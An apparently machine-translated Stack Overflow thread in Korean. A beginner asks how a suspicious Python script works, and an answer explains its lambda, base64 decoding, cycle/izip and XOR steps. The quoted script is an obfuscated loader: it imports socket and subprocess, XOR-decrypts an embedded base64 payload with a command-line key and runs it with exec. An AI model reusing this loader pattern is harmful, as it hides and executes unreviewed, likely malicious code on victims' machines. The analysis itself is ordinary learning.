2017-02-22 2 views
-1

저는 파이썬 코딩에 신참입니다. 스크립트/프로그램을 리버스 엔지니어링하려고하지만 람다/.join (chr (ord()) 함수 이해에 어려움을 겪고 있습니다. :lambda & .join (chr (ord (letter))

는 리버스 엔지니어링을 시도 코드 메신저 따르고

: 나는이 제대로 운영자 C는 base64로 인코딩되는 변수를 이해하지만 바로이 ''.join(chr(c)^ord(k))에 엉망이됩니다 때문에 디코딩 할 수없는 경우

#!/usr/bin/env python 
from itertools import cycle, izip 
import base64, sys 

import socket, subprocess, os, urllib 

x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b))) 

c = """ 
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe 
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T 
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha 
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q 
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9 
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY 
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X 
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX 
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT 
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX 
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC 
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT 
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb 
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET 
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX 
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR 
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT 
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd 
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET 
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ 
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY 
Gho9QB9QX1hAVBsaPQ== 
""" 

exec(x(c, sys.argv[1])) 

어떤 식 으로든 사용 sysargv 값을 통해 사이클링 된 C의 디코딩 된 버전 - 그러나 이것은 완전히 손실 된 곳이며, 함수 중 하나는 프로세스를 가져옵니다. 먼저 sed, C와 K의 XOR 또는 A와 B의 사이클링?

또한이 경우 k는 어디에서 오는가? sysargv는 프로그램의 exec 부분에서 b로 설정되어 있지 않아야합니다. 따라서 가져온 모듈 중 일부에서 이미 기본값으로 설정되어 있습니다.

답변

0

의 그것을 분해 보자

x = lambda stuff: other_stuff 

거의 그래서 그냥 a (base64로 인코딩 된 cyphertext)와 b (키)와를받는 함수를 정의하는 것

def x(stuff): 
    return other_stuff 

정확히 동일합니다 디코딩 된 문자열을 반환합니다.

내부로부터 외부로가는 지금

,이 단순히 cyphertext의 base64 인코딩 디코딩

base64.decodestring(a) 

, 그리고

cycle(b) 

반환 복호화 된 문자열을 반복자를 반환하는 B 이상 사이클 ; 예를 들어, b가 "abc"이면 iterator는 a, b, c, a, b, c, a, b, c, ...를 영원히 제공합니다.

izip(...) 

두 시퀀스의 "zipped"튜플을 제공하는 반복기를 반환합니다. 예를 들어 첫 번째 매개 변수가 "12345"이고 두 번째 매개 변수가 cycle("abc") 인 경우 ("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b")을 제공합니다.

chr(ord(c)^ord(k)) for c,k in izip(...) 

*이 izip 결과로 반복이 ck합니다 (cyphertext 각 단일 바이트의 키)에 상술 이러한 튜플 언팩 발전기 표현이며 XOR 한창하여 해독 바이트를 계산 ( ^) 바이트 값 ( ord)을 반환하고 결과를 해당 문자 ( chr)로 다시 구성합니다. 결과는 디코딩 된 문자를 제공하는 생성기입니다.

''.join(...) 

결과가 하나의 큰 문자열로 생성기 표현식에 의해 제공된 문자를 조인합니다.

+0

감사합니다. 이것은 매우 도움이되는 설명이었다! –

+0

기꺼이 도움이되었다. 나의 대답이 당신의 의심에 적절하게 대처한다면, 당신은 그것을 상향 조정하고 그것을 받아 들일 수있다 (감사합니다! :-)) –